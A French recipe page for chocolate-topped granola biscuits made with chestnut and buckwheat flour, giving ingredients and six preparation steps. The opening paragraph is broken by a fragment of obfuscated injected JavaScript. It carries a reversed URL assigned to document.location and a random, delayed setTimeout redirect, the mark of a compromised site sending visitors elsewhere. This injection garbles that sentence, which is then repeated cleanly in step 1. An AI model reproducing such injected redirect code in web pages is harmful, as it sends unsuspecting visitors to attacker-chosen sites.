Biscuits Granola maison

2017-02-24

Dans un saladier versez tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toutes les farines, le bicarbonate de soude, la pincée de sel fin. Bien mélanger. Incorporez le beurre froid coupé en petits dés. Bien pétrir avec les mains jusqu’à ce que la pâte ce détache des mains et soit bien homogène.

Ingrédients

  • Pour 4 personnes
  • Pour 20 biscuits
  • 80 g de farine de châtaignes
  • 1 pincée de sel fin
  • 70 g de sarrasin tamisé
  • 50 g de farine de blé tamisée
  • 80 g de beurre froid coupé en petits dés
  • 50 g de sucre roux
  • 1 cuillère à café de bicarbonate de soude
  • 100 g de chocolat au lait

Préparation de la recette

Etape 1

Dans un saladier versez toutes les farines, le bicarbonate de soude, la pincée de sel fin. Bien mélanger. Incorporez le beurre froid coupé en petits dés. Bien pétrir avec les mains jusqu'à ce que la pâte se détache des mains et soit bien homogène.

Etape 2

Formez une boule, façonner un boudin de 20 cm de long. L'envelopper dans un film alimentaire, et le déposer au congélateur pendant 1 h.

Etape 3

A ce moment coupez le boudin en 20 rondelles, déposez ces dernières sur une plaque de cuisson préalablement recouverte d'un papier sulfurisé.

Etape 4

Préchauffez le four à 180°C thermostat 6. Enfournez et faites cuire pendant 20 à 25 minutes environ. Sortez-les du four. Laissez refroidir.

Etape 5

Cassez le chocolat au lait en morceaux, déposer les morceaux dans une casserole sur un bain-marie et obtenir un chocolat fondu et crémeux.

Etape 6

Étalez ce chocolat fondu et crémeux avec une spatule sur la surface des biscuits. Laissez le chocolat durcir pendant 1 heure. Dégustez avec une crème Anglaise.

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